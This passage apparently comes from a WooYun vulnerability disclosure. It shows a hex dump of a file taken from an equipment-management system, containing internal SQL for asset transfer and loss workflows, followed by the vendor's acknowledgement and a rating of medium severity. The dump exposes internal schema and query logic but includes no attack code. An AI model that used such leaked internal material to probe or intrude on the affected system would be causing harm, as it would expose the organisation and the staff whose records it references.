2560: 20 20 20 20 20 20 20 20 20 FF 20 20 20 20 20 20 .
2570: 20 20 6D 69 6E 28 65 71 75 2E 63 6F 64 65 20 7C min(equ.code |
2580: 7C 20 27 2D 27 20 7C 7C 20 65 71 75 2E 6E 61 6D | '-' || equ.nam
2590: 65 29 20 61 73 20 73 75 62 0A 20 20 20 20 20 20 e) as sub.
25a0: 20 20 20 20 20 20 20 20 20 46 52 4F 4D 20 45 51 FROM EQ
25b0: 55 49 50 4D 45 4E 54 5F 66 6C 69 74 74 69 6E 67 UIPMENT_flitting
25c0: 6F 75 74 5F 4C 49 53 54 20 45 43 4C 0A 20 20 20 out_LIST ECL.
25d0: 20 20 20 20 20 20 20 20 20 20 20 20 6C 65 66 74 left
25e0: 20 6A 6F 69 6E 20 65 71 75 69 70 6D 65 6E 74 20 join equipment
25f0: 65 71 75 0A 20 20 20 20 20 20 20 20 20 20 20 20 equ.
2600: 20 20 20 20 20 6F 6E 20 65 63 6C 2E 65 71 75 69 on ecl.equi
2610: 70 6D 65 6E 74 5F 63 6F 64 65 20 3D 20 65 71 75 pment_code = equ
2620: 2E 63 6F 64 65 0A 20 20 20 20 20 20 20 20 20 20 .code.
2630: 20 20 20 20 47 52 4F 55 50 20 42 59 20 45 43 4C GROUP BY ECL
2640: 2E 45 51 55 49 50 4D 45 4E 54 5F 66 6C 69 74 74 .EQUIPMENT_flitt
2650: 69 6E 67 6F 75 74 5F 49 44 29 20 54 0A 20 20 20 ingout_ID) T.
2660: 20 4F 4E 20 45 43 2E 49 44 FF 20 3D 20 54 2E 45 ON EC.ID. = T.E
2670: 51 55 49 50 4D 45 4E 54 5F 66 6C 69 74 74 69 6E QUIPMENT_flittin
2680: 67 6F 75 74 5F 49 44 0A 20 20 4C 45 46 54 20 4A gout_ID. LEFT J
2690: 4F 49 4E 20 45 51 55 49 50 4D 45 4E 54 5F 66 6C OIN EQUIPMENT_fl
26a0: 69 74 74 69 6E 67 6F 75 74 5F 53 45 51 55 45 4E ittingout_SEQUEN
26b0: 43 45 20 45 43 53 0A 20 20 20 20 4F 4E 20 45 43 CE ECS. ON EC
26c0: 2E 49 44 20 3D 20 45 43 53 2E 45 51 55 49 50 4D .ID = ECS.EQUIPM
26d0: 45 4E 54 5F 66 6C 69 74 74 69 6E 67 6F 75 74 5F ENT_flittingout_
26e0: 49 44 0A 20 20 20 41 4E 44 20 45 43 53 2E 49 53 ID. AND ECS.IS
26f0: 5F 43 55 52 52 45 4E 54 20 3D 20 31 0A 20 20 4C _CURRENT = 1. L
2700: 45 46 54 20 4A 4F 49 4E 20 56 5F 53 59 53 54 45 EFT JOIN V_SYSTE
2710: 4D 5F 42 50 4D 5F 53 54 41 54 45 20 42 50 4D 0A M_BPM_STATE BPM.
2720: 20 20 20 20 4F 4E 20 45 43 53 2E 42 50 4D 5F 4E ON ECS.BPM_N
2730: 4F 20 3D 20 42 50 4D 2E 4B 45 59 0A 20 20 6C 65 O = BPM.KEY. le
2740: 66 74 20 6A 6F 69 6E 20 62 61 73 65 5F 64 65 70 ft join base_dep
2750: 20 62 64 20 6F 6E 20 62 64 2E 63 6F 64 65 20 3D bd on bd.code =
2760: 20 74 2E 62 61 73 65 5F 64 FF 65 70 5F 63 6F 64 t.base_d.ep_cod
2770: 65 0A 75 6E 69 6F 6E 20 61 6C 6C 0A 73 65 6C 65 e.union all.sele
2780: 43 54 20 27 6C 6F 73 73 65 73 27 20 61 73 20 74 CT 'losses' as t
2790: 79 70 65 2C 0A 20 20 20 20 20 20 20 27 C5 CC BF ype,. '...
27a0: F7 27 20 61 73 20 74 79 70 65 5F 6E 61 6D 65 2C .' as type_name,
27b0: 0A 20 20 20 20 20 20 20 65 63 2E 61 73 73 65 74 . ec.asset
27c0: 73 5F 74 79 70 65 2C 0A 20 20 20 20 20 20 20 45 s_type,. E
27d0: 43 2E 49 44 2C 0A 20 20 20 20 20 20 20 45 43 2E C.ID,. EC.
27e0: 52 45 51 55 45 53 54 5F 54 49 4D 45 2C 0A 20 20 REQUEST_TIME,.
27f0: 20 20 20 20 20 65 63 2E 72 65 71 75 65 73 74 5F ec.request_
2800: 74 79 70 65 2C 0A 20 20 20 20 20 20 20 74 2E 62 type,. t.b
2810: 61 73 65 5F 64 65 70 5F 63 6F 64 65 2C 0A 20 20 ase_dep_code,.
2820: 20 20 20 20 20 62 64 2E 6E 61 6D 65 20 61 73 20 bd.name as
2830: 62 61 73 65 5F 64 65 70 5F 6E 61 6D 65 2C 0A 20 base_dep_name,.
2840: 20 20 20 20 20 20 45 43 2E 42 41 53 45 5F 54 45 EC.BASE_TE
2850: 41 43 48 45 52 5F 4E 4F 5F 72 65 71 75 65 73 74 ACHER_NO_request
2860: 20 62 61 73 65 5F 74 65 61 FF 63 68 65 72 5F 6E base_tea.cher_n
2870: 6F 5F 72 65 71 75 65 73 74 2C 0A 20 20 20 20 20 o_request,.
2880: 20 20 42 54 31 2E 4E 41 4D 45 20 41 53 20 42 41 BT1.NAME AS BA
2890: 53 45 5F 54 45 41 43 48 45 52 5F 4E 41 4D 45 5F SE_TEACHER_NAME_
28a0: 52 45 51 55 45 53 54 2C 0A 20 20 20 20 20 20 20 REQUEST,.
28b0: 6E 76 6C 28 62 74 31 2E 6D 6F 62 69 6C 65 2C 62 nvl(bt1.mobile,b
28c0: 74 31 2E 74 65 6C 65 70 68 6F 6E 65 29 20 70 68 t1.telephone) ph
28d0: 6F 6E 65 2C 0A 20 20 20 20 20 20 20 4E 56 4C 28 one,. NVL(
28e0: 54 2E 4E 55 4D 2C 20 30 29 20 41 53 20 45 51 55 T.NUM, 0) AS EQU
28f0: 49 50 4D 45 4E 54 5F 43 4F 55 4E 54 2C 0A 20 20 IPMENT_COUNT,.
2900: 20 20 20 20 20 4E 56 4C 28 54 2E 45 51 55 49 50 NVL(T.EQUIP
2910: 4D 45 4E 54 5F 4D 4F 4E 45 59 2C 20 30 29 20 41 MENT_MONEY, 0) A
2920: 53 20 45 51 55 49 50 4D 45 4E 54 5F 4D 4F 4E 45 S EQUIPMENT_MONE
2930: 59 2C 0A 20 20 20 20 20 20 20 4E 56 4C 28 54 2E Y,. NVL(T.
2940: 45 51 55 49 50 4D 45 4E 54 5F 4D 41 58 5F 4D 4F EQUIPMENT_MAX_MO
2950: 4E 45 59 2C 20 30 29 20 41 53 20 45 51 55 49 50 NEY, 0) AS EQUIP
2960: 4D 45 4E 54 5F 4D 41 58 5F FF 4D 4F 4E 45 59 2C MENT_MAX_.MONEY,
2970: 0A 20 20 20 20 20 20 20 45 43 53 2E 42 50 4D 5F . ECS.BPM_
2980: 4E 4F 2C 0A 20 20 20 20 20 20 20 6E 76 6C 28 45 NO,. nvl(E
2990: 43 53 2E 53 54 41 54 45 2C 20 2D 33 29 20 61 73 CS.STATE, -3) as
29a0: 20 73 74 61 74 65 2C 0A 20 20 20 20 20 20 20 65 state,. e
29b0: 63 73 2E 73 75 62 6D 69 74 5F 74 69 6D 65 2C 0A cs.submit_time,.
29c0: 20 20 20 20 20 20 20 62 70 6D 2E 54 4F 4B 45 4E bpm.TOKEN
29d0: 5F 54 49 4D 45 2C 0A 20 20 20 20 20 20 20 42 50 _TIME,. BP
29e0: 4D 2E 50 52 4F 43 45 53 53 5F 49 44 2C 0A 20 20 M.PROCESS_ID,.
29f0: 20 20 20 20 20 42 50 4D 2E 4A 42 50 4D 5F 4E 4F BPM.JBPM_NO
2a00: 44 45 44 45 46 49 4E 49 54 49 4F 4E 2C 0A 20 20 DEDEFINITION,.
2a10: 20 20 20 20 20 42 50 4D 2E 70 72 6F 63 65 73 73 BPM.process
2a20: 5F 70 61 67 65 5F 61 65 78 70 2C 0A 20 20 20 20 _page_aexp,.
2a30: 20 20 20 42 50 4D 2E 44 45 46 49 4E 49 54 49 4F BPM.DEFINITIO
2a40: 4E 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 4E 4F N,. BPM.NO
2a50: 44 45 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 4E DE,. BPM.N
2a60: 4F 44 45 5F 4E 41 4D 45 2C FF 0A 20 20 20 20 20 ODE_NAME,..
2a70: 20 20 42 50 4D 2E 45 4E 44 5F 54 49 4D 45 2C 0A BPM.END_TIME,.
2a80: 20 20 20 20 20 20 20 27 C9 EA C7 EB 27 20 7C 7C '....' ||
2a90: 20 43 41 53 45 0A 20 20 20 20 20 20 20 20 20 57 CASE. W
2aa0: 48 45 4E 20 54 2E 4E 55 4D 20 3E 20 31 20 54 48 HEN T.NUM > 1 TH
2ab0: 45 4E 0A 20 20 20 20 20 20 20 20 20 20 54 2E 53 EN. T.S
2ac0: 55 42 20 7C 7C 20 27 B5 C8 27 20 7C 7C 20 4E 56 UB || '..' || NV
2ad0: 4C 28 54 2E 4E 55 4D 2C 20 30 29 20 7C 7C 20 27 L(T.NUM, 0) || '
2ae0: CC A8 2F CC D7 D7 CA B2 FA 27 0A 20 20 20 20 20 ../......'.
2af0: 20 20 20 20 45 4C 53 45 0A 20 20 20 20 20 20 20 ELSE.
2b00: 20 20 20 54 2E 53 55 42 0A 20 20 20 20 20 20 20 T.SUB.
2b10: 45 4E 44 20 7C 7C 20 27 B5 C4 C5 CC BF F7 D2 B5 END || '........
2b20: CE F1 27 20 41 53 20 53 55 42 4A 45 43 54 2C 0A ..' AS SUBJECT,.
2b30: 20 20 20 20 20 20 20 62 70 6D 2E 63 61 6E 5F 62 bpm.can_b
2b40: 61 63 6B 2C 0A 20 20 20 20 20 20 20 62 70 6D 2E ack,. bpm.
2b50: 61 64 76 69 63 65 2C 0A 20 20 20 20 20 20 20 27 advice,. '
2b60: 27 20 70 72 6F 76 69 64 65 FF 72 2C 0A 20 20 20 ' provide.r,.
2b70: 20 20 20 20 27 27 20 63 68 61 6E 67 65 70 72 69 '' changepri
2b80: 63 65 2C 0A 20 20 20 20 20 20 20 27 27 20 45 53 ce,. '' ES
2b90: 54 49 4D 41 54 45 5F 43 4F 53 54 2C 0A 20 20 20 TIMATE_COST,.
2ba0: 20 20 20 20 27 27 20 6D 65 72 67 65 5F 70 72 6F '' merge_pro
2bb0: 63 65 73 73 2C 0A 20 20 20 20 20 20 20 65 63 2E cess,. ec.
2bc0: 72 65 6D 61 72 6B 2C 0A 20 20 20 20 20 20 20 20 remark,.
2bd0: 6E 75 6C 6C 20 62 61 63 6B 73 74 6F 63 6B 5F 74 null backstock_t
2be0: 79 70 65 0A 20 20 46 52 4F 4D 20 45 51 55 49 50 ype. FROM EQUIP
2bf0: 4D 45 4E 54 5F 6C 6F 73 73 65 73 20 45 43 0A 20 MENT_losses EC.
2c00: 20 4C 45 46 54 20 4A 4F 49 4E 20 42 41 53 45 5F LEFT JOIN BASE_
2c10: 54 45 41 43 48 45 52 20 42 54 31 0A 20 20 20 20 TEACHER BT1.
2c20: 4F 4E 20 45 43 2E 42 41 53 45 5F 54 45 41 43 48 ON EC.BASE_TEACH
2c30: 45 52 5F 4E 4F 5F 72 65 71 75 65 73 74 20 3D 20 ER_NO_request =
2c40: 42 54 31 2E 4E 4F 0A 20 20 4C 45 46 54 20 4A 4F BT1.NO. LEFT JO
2c50: 49 4E 20 28 53 45 4C 45 43 54 20 73 75 6D 28 63 IN (SELECT sum(c
2c60: 61 73 65 0A 20 20 20 20 20 FF 20 20 20 20 20 20 ase. .
2c70: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2c80: 20 77 68 65 6E 20 45 43 4C 2E 53 54 41 54 45 20 when ECL.STATE
2c90: 49 53 20 4E 55 4C 4C 20 4F 52 20 45 43 4C 2E 53 IS NULL OR ECL.S
2ca0: 54 41 54 45 20 21 3D 20 2D 31 20 74 68 65 6E 0A TATE != -1 then.
2cb0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2cc0: 20 20 20 20 20 20 20 20 20 20 20 20 20 31 0A 20 1.
2cd0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2ce0: 20 20 20 20 20 20 20 20 20 20 20 65 6C 73 65 0A else.
2cf0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2d00: 20 20 20 20 20 20 20 20 20 20 20 20 20 30 0A 20 0.
2d10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2d20: 20 20 20 20 20 20 20 20 20 65 6E 64 29 20 41 53 end) AS
2d30: 20 4E 55 4D 2C 0A 20 20 20 20 20 20 20 20 20 20 NUM,.
2d40: 20 20 20 20 20 20 20 20 20 20 45 43 4C 2E 45 51 ECL.EQ
2d50: 55 49 50 4D 45 4E 54 5F 6C 6F 73 73 65 73 5F 49 UIPMENT_losses_I
2d60: 44 2C 0A 20 20 20 20 20 20 FF 20 20 20 20 20 20 D,. .
2d70: 20 20 20 20 20 20 20 20 4D 49 4E 28 65 71 75 2E MIN(equ.
2d80: 42 41 53 45 5F 44 45 50 5F 43 4F 44 45 29 20 41 BASE_DEP_CODE) A
2d90: 53 20 42 41 53 45 5F 44 45 50 5F 43 4F 44 45 2C S BASE_DEP_CODE,
2da0: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .
2db0: 20 20 20 20 20 53 55 4D 28 63 61 73 65 0A 20 20 SUM(case.
2dc0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2dd0: 20 20 20 20 20 20 20 20 77 68 65 6E 20 45 43 4C when ECL
2de0: 2E 53 54 41 54 45 20 49 53 20 4E 55 4C 4C 20 4F .STATE IS NULL O
2df0: 52 20 45 43 4C 2E 53 54 41 54 45 20 21 3D 20 2D R ECL.STATE != -
2e00: 31 20 74 68 65 6E 0A 20 20 20 20 20 20 20 20 20 1 then.
2e10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2e20: 20 20 65 71 75 2E 50 52 49 43 45 20 2B 20 6E 76 equ.PRICE + nv
2e30: 6C 28 65 71 75 2E 61 74 74 61 63 68 5F 70 72 69 l(equ.attach_pri
2e40: 63 65 2C 20 30 29 0A 20 20 20 20 20 20 20 20 20 ce, 0).
2e50: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2e60: 20 65 6C 73 65 0A 20 20 20 FF 20 20 20 20 20 20 else. .
2e70: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2e80: 20 20 30 0A 20 20 20 20 20 20 20 20 20 20 20 20 0.
2e90: 20 20 20 20 20 20 20 20 20 20 20 20 65 6E 64 29 end)
2ea0: 20 41 53 20 45 51 55 49 50 4D 45 4E 54 5F 4D 4F AS EQUIPMENT_MO
2eb0: 4E 45 59 2C 0A 20 20 20 20 20 20 20 20 20 20 20 NEY,.
2ec0: 20 20 20 20 20 20 20 20 20 6D 61 78 28 65 71 75 max(equ
2ed0: 2E 50 52 49 43 45 20 2B 20 6E 76 6C 28 65 71 75 .PRICE + nvl(equ
2ee0: 2E 61 74 74 61 63 68 5F 70 72 69 63 65 2C 20 30 .attach_price, 0
2ef0: 29 29 20 41 53 20 45 51 55 49 50 4D 45 4E 54 5F )) AS EQUIPMENT_
2f00: 4D 41 58 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 MAX_MONEY,.
2f10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6D m
2f20: 69 6E 28 65 71 75 2E 63 6F 64 65 20 7C 7C 20 27 in(equ.code || '
2f30: 2D 27 20 7C 7C 20 65 71 75 2E 6E 61 6D 65 29 20 -' || equ.name)
2f40: 61 73 20 73 75 62 0A 20 20 20 20 20 20 20 20 20 as sub.
2f50: 20 20 20 20 20 20 46 52 4F 4D 20 45 51 55 49 50 FROM EQUIP
2f60: 4D 45 4E 54 5F 6C 6F 73 73 FF 65 73 5F 4C 49 53 MENT_loss.es_LIS
2f70: 54 20 45 43 4C 0A 20 20 20 20 20 20 20 20 20 20 T ECL.
2f80: 20 20 20 20 20 6C 65 66 74 20 6A 6F 69 6E 20 65 left join e
2f90: 71 75 69 70 6D 65 6E 74 20 65 71 75 0A 20 20 20 quipment equ.
2fa0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6F 6E on
2fb0: 20 65 63 6C 2E 65 71 75 69 70 6D 65 6E 74 5F 63 ecl.equipment_c
2fc0: 6F 64 65 20 3D 20 65 71 75 2E 63 6F 64 65 0A 20 ode = equ.code.
2fd0: 20 20 20 20 20 20 20 20 20 20 20 20 20 47 52 4F GRO
2fe0: 55 50 20 42 59 20 45 43 4C 2E 45 51 55 49 50 4D UP BY ECL.EQUIPM
2ff0: 45 4E 54 5F 6C 6F 73 73 65 73 5F 49 44 29 20 54 ENT_losses_ID) T
3000: 0A 20 20 20 20 4F 4E 20 45 43 2E 49 44 20 3D 20 . ON EC.ID =
3010: 54 2E 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 73 T.EQUIPMENT_loss
3020: 65 73 5F 49 44 0A 20 20 4C 45 46 54 20 4A 4F 49 es_ID. LEFT JOI
3030: 4E 20 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 73 N EQUIPMENT_loss
3040: 65 73 5F 53 45 51 55 45 4E 43 45 20 45 43 53 0A es_SEQUENCE ECS.
3050: 20 20 20 20 4F 4E 20 45 43 2E 49 44 20 3D 20 45 ON EC.ID = E
3060: 43 53 2E 45 51 55 49 50 4D 9C 45 4E 54 5F 6C 6F CS.EQUIPM.ENT_lo
3070: 73 73 65 73 5F 49 44 0A 20 20 20 41 4E 44 20 45 sses_ID. AND E
3080: 43 53 2E 49 53 5F 43 55 52 52 45 4E 54 20 3D 20 CS.IS_CURRENT =
3090: 31 0A 20 20 4C 45 46 54 20 4A 4F 49 4E 20 56 5F 1. LEFT JOIN V_
30a0: 53 59 53 54 45 4D 5F 42 50 4D 5F 53 54 41 54 45 SYSTEM_BPM_STATE
30b0: 20 42 50 4D 0A 20 20 20 20 4F 4E 20 45 43 53 2E BPM. ON ECS.
30c0: 42 50 F4 23 B4 2F 49 6F FA BE 94 9F 36 28 96 5F BP.#./Io....6(._
30d0: 7C 48 87 8E 7B 74 7C 08 09 D3 3A 82 29 27 38 FD |H..{t|...:.)'8.
30e0: 49 81 12 2D 5D BB 97 AE 57 5F FE EC 65 31 6E CF I..-]...W_..e1n.
30f0: 31 A3 E9 CE 17 96 54 2F CD 5E B6 7C 5F 7A 86 71 1.....T/.^.|_z.q
3100: 79 50 C6 71 03 13 BA 6D 68 88 8B B5 09 11 BE 3B yP.q...mh......;
3110: D1 16 43 CF B7 DC 9B AE AF 08 47 7F AE 13 27 4D ..C.......G...'M
3120: 16 0C 02 B0 CC 05 BB 72 C5 D4 B6 C7 E3 24 A2 65 .......r.....$.e
3130: C6 B5 86 F5 2C 93 5A B5 6C 0B 02 6C B0 AB A0 45 ....,.Z.l..l...E
3140: 69 6E CD FA B7 9B BD B2 21 3E F8 B3 7C 77 94 D4 in......!>..|w..
3150: 03 56 98 EE 22 0B 6B 53 3D 30 C8 06 DB AE 7A 78 .V..".kS=0....zx
3160: 79 3E 39 4B 74 57 07 3D 79 61 1E 65 4C 81 C3 CC y>9KtW.=ya.eL...
3170: EA 11 FB 5A 65 08 35 CB 05 8D 4E 97 8D EA EF D1 ...Ze.5...N.....
3180: D7 6F D3 45 2C 59 3D EE 1E 70 E7 D9 C1 A9 BB 12 .o.E,Y=..p......
3190: 90 62 1F C4 8D 37 69 13 AF 60 42 DE 20 68 02 A7 .b...7i..`B. h..
31a0: C5 82 FE 53 19 CD 79 B4 7B 69 60 66 B2 52 16 5A ...S..y.{i`f.R.Z
31b0: A4 63 3F 04 07 60 1B BE F2 3A AD 59 F4 99 73 72 .c?..`...:.Y..sr
31c0: AA A4 8F F7 A0 97 9A C1 02 4A 7C C1 3A FE D6 72 .........J|.:..r
31d0: FF 95 17 64 BC 19 08 5F DA EA 00 ED 26 43 DD F2 ...d..._....&C..
31e0: 92 11 82 BD FE 6D 4C 80 0C C3 23 CE A2 0F 3F FE .....mL...#...?.
31f0: 0A 2B 76 98 53 15 CA AF 6D BD A9 7C 24 A9 DA 9B .+v.S...m..|$...
3200: 07 6D A3 FC 78 F4 EE 85 73 45 98 BD 37 43 61 40 .m..x...sE..7Ca@
3210: 1B 9C 4E E0 CC EF 80 5C FC AE 3D 72 03 3B 56 A2 ..N....\..=r.;V.
3220: D0 6D A1 52 D8 8A E0 C4 B6 96 3A 27 10 68 2F 1F .m.R......:'.h/.
3230: 75 44 67 77 77 7D 95 E0 81 6C A0 8E DD 0C 8E 7E uDgww}...l.....~
3240: EE 92 F6 A3 C4 BD 0B F0 06 C3 B6 3F 1F 53 3C 57 ...........?.S<W
3250: 95 06 F2 49 57 1A 38 11 04 76 29 30 79 D7 6D 21 ...IW.8..v)0y.m!
3260: 0F FA 32 86 F9 0C 04 21 55 6A C3 9F 90 69 6F 84 ..2....!Uj...io.
3270: 2C C8 43 B8 D4 F1 FF 19 13 BC D5 19 A3 7F 0D ED ,.C.............
3280: 55 ED E0 F0 FD 14 81 98 62 A2 AE 93 DF 1D 69 C5 U.......b.....i.
3290: 09 21 65 1D 7B A1 E3 84 D4 F0 FA C6 53 F9 4D 2B .!e.{.......S.M+
32a0: FE 31 95 B2 2F 26 CB 87 18 EC B5 4F C6 CB 02 DB .1../&.....O....
32b0: AD B6 30 51 0E D3 94 D6 FA 5C F4 D9 A3 DD 34 A9 ..0Q.....\....4.
32c0: 54 7F FC C6 DB 84 9D F6 30 2D E7 A8 EC EC 16 EF T.......0-......
32d0: 2F 4B 7C C4 FE 71 98 EC 16 1E 2D 2E 42 9A 8E E0 /K|..q....-.B...
32e0: F8 77 2C 97 42 63 10 FA 34 EA 32 4B C7 B9 D1 84 .w,.Bc..4.2K....
32f0: 71 48 32 C9 B7 FA 3E 02 18 DF 40 6E 11 5E 83 39 qH2...>...@n.^.9
3300: AE CD 54 B6 60 C8 B8 83 0C 5D 42 F8 4A 2C 0E 38 ..T.`....]B.J,.8
3310: 34 E2 B6 90 17 03 01 05 A0 1F 44 9F C9 C7 F4 64 4.........D....d
3320: 56 A4 73 23 4D 22 0A 96 90 FA B7 02 C1 9F 15 1E V.s#M"..........
3330: F7 58 BF 00 54 64 7C 0F 40 50 C0 08 58 73 31 37 .X..Td|.@P..Xs17
3340: 27 04 3F 54 F7 FA 43 B3 A7 CA 21 A9 D5 3D D4 C6 '.?T..C...!..=..
3350: 26 2F 9F 52 24 C3 7F E6 27 66 93 6D 93 25 22 B1 &/.R$...'f.m.%".
3360: 3B C0 A3 67 5E 09 DC 24 FC 41 B0 87 EA C1 B4 19 ;..g^..$.A......
3370: 79 D2 7F 41 0A 38 9D 67 2F A3 B9 77 0A B3 96 2E y..A.8.g/..w....
3380: EF 7A 9F 01 64 4D 32 0F 05 73 B4 7B A5 9E 50 10 .z..dM2..s.{..P.
3390: D9 44 F5 69 0F 48 D2 89 A8 99 5D BD 3D BC 68 7C .D.i.H....].=.h|
33a0: 8F 29 82 C8 4D 3A 21 DC 37 D1 E7 DE 9B F2 7D 2B .)..M:!.7.....}+
33b0: EE 06 AF 61 5F 27 E6 87 7D 15 42 91 12 A8 8E 74 ...a_'..}.B....t
33c0: 64 D1 82 3D F3 5F 69 1E 72 29 FC 07 0A DE D9 02 d..=._i.r)......
33d0: F8 DF 89 06 E0 5B FB 7E E3 F4 9F E0 49 14 67 C6 .....[.~....I.g.
33e0: AC FC C6 2B 83 7A 72 94 2A 4D 23 F5 EE 2F 7D 7F ...+.zr.*M#../}.
33f0: 1E 0A F4 F1 D8 C2 B9 FC 37 DB 9F D9 65 36 EA C1 ........7...e6..
3400: A8 1B 1C 61 C9 61 D2 65 6A 75 6A 0E 97 1A 71 EF ...a.a.ejuj...q.
3410: 95 54 24 DF 01 2B 21 2F FF 91 A2 D5 6D 01 83 47 .T$..+!/....m..G
3420: 32 46 9D 35 D5 67 82 4D B6 47 AF DE 0F 19 E1 55 2F.5.g.M.G.....U
3430: 95 76 82 73 4C BA 46 D1 4E F5 F3 03 B2 23 10 ED .v.sL.F.N....#..
3440: EF AA DB EA 65 05 71 31 30 C7 D2 90 21 7A 73 B2 ....e.q10...!zs.
3450: CE 6E 7F 72 C6 6C 71 9A 0F 70 46 1F 4E 9C 8F 23 .n.r.lq..pF.N..#
3460: 0F 26 AF EB 5F D0 03 A9 E8 BC E8 3A EE 01 B4 50 .&.._......:...P
3470: E7 AE A3 A2 81 53 C6 2B 83 8B 39 CB 0F 09 82 4A .....S.+..9....J
3480: 5D DD 7B 52 B4 25 5D 46 11 56 B4 5F 80 7B 51 E7 ].{R.%]F.V._.{Q.
3490: 6D 27 2D F5 69 E3 BE 50 10 3D 34 5C A3 A4 1A C7 m'-.i..P.=4\....
34a0: C7 10 CE 82 64 FC FF DD BF D6 25 E7 BB 07 76 D1 ....d.....%...v.
34b0: 9F 0D 92 EF B6 0E 64 C3 64 15 05 FA 02 38 94 4C ......d.d....8.L
34c0: CE CE BC 8F F6 FD A9 10 9F A0 7A 44 80 C7 75 77 ..........zD..uw
34d0: 85 40 CF F4 63 E6 06 B4 B1 F0 01 2A E6 3B 04 86 .@..c......*.;..
34e0: 2C A6 D7 39 AA 3F EA 70 8E D5 BA AA 19 D1 17 35 ,..9.?.p.......5
34f0: 9D 8A D5 60 D7 25 B4 67 1C 15 44 87 81 A3 0B D9 ...`.%.g..D.....
3500: 50 FC 0D C2 4B 0B 52 9A 20 75 09 6E 47 6D C3 7F P...K.R. u.nGm..
3510: AC 26 77 FE B4 A4 6E 77 08 88 91 13 59 F9 C7 F3 .&w...nw....Y...
3520: 85 F7 29 D4 99 94 59 E1 23 6D E8 46 6B 6D B9 6D ..)...Y.#m.Fkm.m
3530: 6C A9 87 0F C1 F2 AE A6 83 65 F0 53 5D C6 14 13 l........e.S]...
3540: 9A 0A 95 CE 33 FF 2B D4 5E A3 AF 5F 91 9D 20 93 ....3.+.^.._.. .
3550: A1 26 47 F4 C8 A3 6F 21 A9 69 06 06 1B 14 DE F9 .&G...o!.i......
3560: 58 70 13 10 3D F6 93 B7 9F CA 9A C5 87 4E A8 9D Xp..=........N..
3570: 5F 54 A7 19 88 52 2C 55 D6 AD FC B1 7A C4 C6 9A _T...R,U....z...
3580: 90 C9 C3 C7 E2 98 EE 2A 91 AE 24 A1 5F 62 B0 DF .......*..$._b..
3590: BD 3C FF B6 1C 42 98 46 DC 0A 43 E0 C6 9C AF F5 .<...B.F..C.....
35a0: E6 5C 6C 2E 09 F3 CC CF B7 49 33 C2 48 F7 0C C8 .\l......I3.H...
35b0: B0 4D F2 4C 7A 7A 72 31 D9 B0 3B 3C 40 8D 04 9E .M.Lzzr1..;<@...
35c0: 9F 10 E9 5F CE 8C F2 77 C9 9C 7D 35 36 95 7C C3 ..._...w..}56.|.
35d0: 54 5B 32 56 47 10 17 21 A9 51 90 11 74 29 BC FB T[2VG..!.Q..t)..
35e0: E2 3A D2 60 23 36 28 34 CC 58 E0 D3 EA 3B 52 DB .:.`#6(4.X...;R.
35f0: 85 35 CE 91 41 7D 4D E2 D3 89 CD 1C 91 CE 25 29 .5..A}M.......%)
3600: 1A B1 26 A7 73 0C AB 68 19 46 64 4D 6F 67 77 5E ..&.s..h.FdMogw^
3610: 8B 1B E4 26 72 C6 18 2E 0C 47 5F 97 01 DB BD 3F ...&r....G_....?
3620: 0C 8A 23 83 BF 89 FB 00 4E 87 A9 AE 84 DC E4 1D ..#.....N.......
3630: B3 42 C2 40 D1 D9 0F CC 67 43 4E BB 10 C3 DD 67 .B.@....gCN....g
3640: 5C 77 76 C0 DF B1 8F CB 18 1C 44 A6 F7 92 B1 23 \wv.......D....#
3650: 70 DD 67 66 42 27 40 4B 62 A1 9A 3A 82 11 E0 24 p.gfB'@Kb..:...$
3660: EC B3 CD DC D7 0B DD 9D 28 0D 29 4B 31 93 84 72 ........(.)K1..r
3670: 3A DF 26 A7 81 A8 D2 A0 1A EB 4A DC 60 19 CE E0 :.&.......J.`...
3680: FF 31 93 B3 42 CA 7F 00 38 11 52 8C DF 66 D3 BC .1..B...8.R..f..
3690: 7F BE 27 1E E0 27 E4 90 34 85 79 C0 2C FB 90 E1 ..'..'..4.y.,...
36a0: 3E 06 6F 56 57 A7 EA 35 B7 94 C6 14 5D 3C D3 04 >.oVW..5....]<..
36b0: 27 0E BA 2D CB AF 40 AC 3A ED AD 45 1A F6 AA 63 '..-..@.:..E...c
36c0: 61 67 59 79 9D CF 60 0F FD 26 3F FF 29 47 83 6B agYy..`..&?.)G.k
36d0: 83 6F 61 D0 6C D4 63 A3 83 2A 48 4B 73 85 DB D8 .oa.l.c..*HKs...
36e0: 2B FC C1 73 29 76 1F C4 B3 02 C0 93 0A

修复方案:

升级

版权声明:转载请注明来源 路人乙@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-03-24 11:26

厂商回复:

通知用户处理中

最新状态:

暂无


漏洞评价:

评论